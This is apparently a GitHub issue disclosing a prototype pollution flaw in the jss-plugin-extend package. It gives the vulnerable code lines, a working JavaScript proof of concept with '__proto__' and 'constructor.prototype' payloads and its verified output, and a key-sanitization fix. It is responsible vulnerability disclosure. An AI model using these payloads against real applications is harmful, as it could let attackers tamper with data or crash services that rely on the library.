Skip to content

Security Vulnerability Report: Prototype Pollution in jss-plugin-extend #1

Description

@dfzysmy2tf-create

Summary

A critical prototype pollution vulnerability has been identified in thejss-plugin-extendpackage. This vulnerability allows attackers to modify the global Object.prototype through crafted input passed to the plugin's onProcessStyle method, potentially leading to arbitrary code execution, data tampering, or application crashes.

Vulnerability Type

Prototype Pollution (CWE-1321)
Prototype pollution is a type of vulnerability that enables an attacker to inject properties into JavaScript object prototypes, which can then be inherited by all objects in the application. This can lead to widespread unintended changes to object behavior.

Vulnerability Root Cause

The root cause of the vulnerability lies in the package's recursive merge logic (used to process the extend property in style objects) that fails to sanitize or block special prototype-related keys (__proto__, constructor.prototype) in user-controlled input. Key issues include:

  1. Unsafe recursive merging: The extend/mergeExtend functions recursively process user-supplied extend properties without validating keys, allowing malicious__proto__orconstructor.prototypekeys to propagate through the merge process.

  2. Dynamic property writes: The code uses unfiltered dynamic property assignments (e.g., newStyle[prop] = ...) that directly write attacker-controlled keys/values to objects, including prototype chains.

  3. Lack of prototype protection: No safeguards are implemented to prevent modification of Object.prototype during the merge/write operations on user-controlled style data.

Vulnerable Code Locations
Core Sinks (Source Code)

Field Value
Critical Vulnerable Line 1 Line 44: if (!(prop in newStyle)) newStyle[prop] = {}
Critical Vulnerable Line 2 Line 45: extend(style.extend[prop], rule, sheet, newStyle[prop])
Critical Vulnerable Line 3 Line 48:newStyle[prop] = style.extend[prop]
Critical Vulnerable Line 4 Line 74: mergeExtend(style, rule, sheet, newStyle) 
Critical Vulnerable Line 5 Line 84: if ('extend' in style) return extend(style, rule, sheet)
Affected Compiled Files dist/jss-plugin-extend.bundle.js (Lines 88, 92, 102)dist/jss-plugin-extend.js (Lines 14, 49, 94)dist/jss-plugin-extend.cjs.js (Lines 64, 68, 78)dist/jss-plugin-extend.esm.js (Lines 55, 59, 69)

Proof of Concept (PoC)
The following PoC code (adapted from poc_test.js) demonstrates the prototype pollution vulnerability. It verifies that crafted input modifies the global Object.prototype:
javascript

const { createRequire } = require('module');
const req = createRequire(__filename);

// Load the vulnerable jss-plugin-extend package
async function loadPackage() {
  const __LOAD_CANDIDATES = [
    './package/package/dist/builds/node.cjs',
    './package/dist/builds/node.cjs',
    './package/package',
    './package',
    './package/index.js',
    './package/package/index.js'
  ];

  let lastErr;
  for (const p of __LOAD_CANDIDATES) {
    try {
      const m = await import(p);
      return m && (m.default || m);
    } catch (e) {
      try {
        const m2 = req(p);
        return m2 && (m2.default || m2);
      } catch (e2) {
        lastErr = e2;
      }
    }
  }
  throw lastErr || new Error('Failed to load target package');
}

// Prototype pollution check helper
function checkPollution() {
  const globalPolluted = ({}).polluted === 'yes' || ({}).isAdmin === true;
  const localObj = {};
  const localPolluted = Object.getPrototypeOf(localObj).polluted === 'yes';
  return { global: globalPolluted, local: localPolluted };
}

// Main PoC execution
(async () => {
  // Clean up existing prototype properties
  delete Object.prototype.polluted;
  delete Object.prototype.isAdmin;
  
  const lib = await loadPackage();
  const plugin = (typeof lib === 'function') ? lib() : lib;

  // Test Case 1: __proto__ in extend object (TP0001)
  try {
    const payload = JSON.parse('{"extend":{"__proto__":{"polluted":"yes"}}}');
    plugin.onProcessStyle(payload, { options: {} }, { getRule: () => null });
    const result = checkPollution();
    console.log(`[TP0001] Prototype Pollution: ${JSON.stringify(result)}`);
    // Expected output: [TP0001] Prototype Pollution: {"global":true,"local":true}
  } catch (e) {
    console.log(`[TP0001] Error: ${e.message}`);
  } finally {
    delete Object.prototype.polluted;
  }

  // Test Case 2: constructor.prototype in extend (TP0002)
  try {
    const payload = JSON.parse('{"extend":{"constructor":{"prototype":{"polluted":"yes"}}}}');
    plugin.onProcessStyle(payload, { options: {} }, { getRule: () => null });
    const result = checkPollution();
    console.log(`[TP0002] Prototype Pollution: ${JSON.stringify(result)}`);
    // Expected output: [TP0002] Prototype Pollution: {"global":true,"local":true}
  } catch (e) {
    console.log(`[TP0002] Error: ${e.message}`);
  } finally {
    delete Object.prototype.polluted;
  }

  // Test Case 3: __proto__ in extend array (TP0003)
  try {
    const arrElem = JSON.parse('{"__proto__":{"polluted":"yes"}}');
    plugin.onProcessStyle({ extend: [arrElem] }, { options: {} }, { getRule: () => null });
    const result = checkPollution();
    console.log(`[TP0003] Prototype Pollution: ${JSON.stringify(result)}`);
    // Expected output: [TP0003] Prototype Pollution: {"global":true,"local":true}
  } catch (e) {
    console.log(`[TP0003] Error: ${e.message}`);
  } finally {
    delete Object.prototype.polluted;
  }
})();

Verified PoC Output
plaintext

[CASE_ID=TP0001] [VULN_BOTH] global=true local=true tp=extend-object-__proto__
[CASE_ID=TP0002] [VULN_BOTH] global=true local=true tp=extend-object-constructor-prototype
[CASE_ID=TP0003] [VULN_BOTH] global=true local=true tp=extend-array-__proto__
[CASE_ID=TP0010] [VULN_BOTH] global=true local=true tp=dist-constructor-prototype
[CASE_ID=TP0011] [VULN_BOTH] global=true local=true tp=dist-style-__proto__
[CASE_ID=TP0012] [VULN_BOTH] global=true local=true tp=dist-style-array-__proto__

4. Recommendations for Fix

Sanitize Special Keys: Block or sanitize __proto__, constructor, and prototype keys in user-controlled input before processing the extend property.
javascript

// Example sanitization function
function sanitizeKey(prop) {
  const forbiddenKeys = ['__proto__', 'constructor', 'prototype'];
  return forbiddenKeys.includes(prop) ? null : prop;
}

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions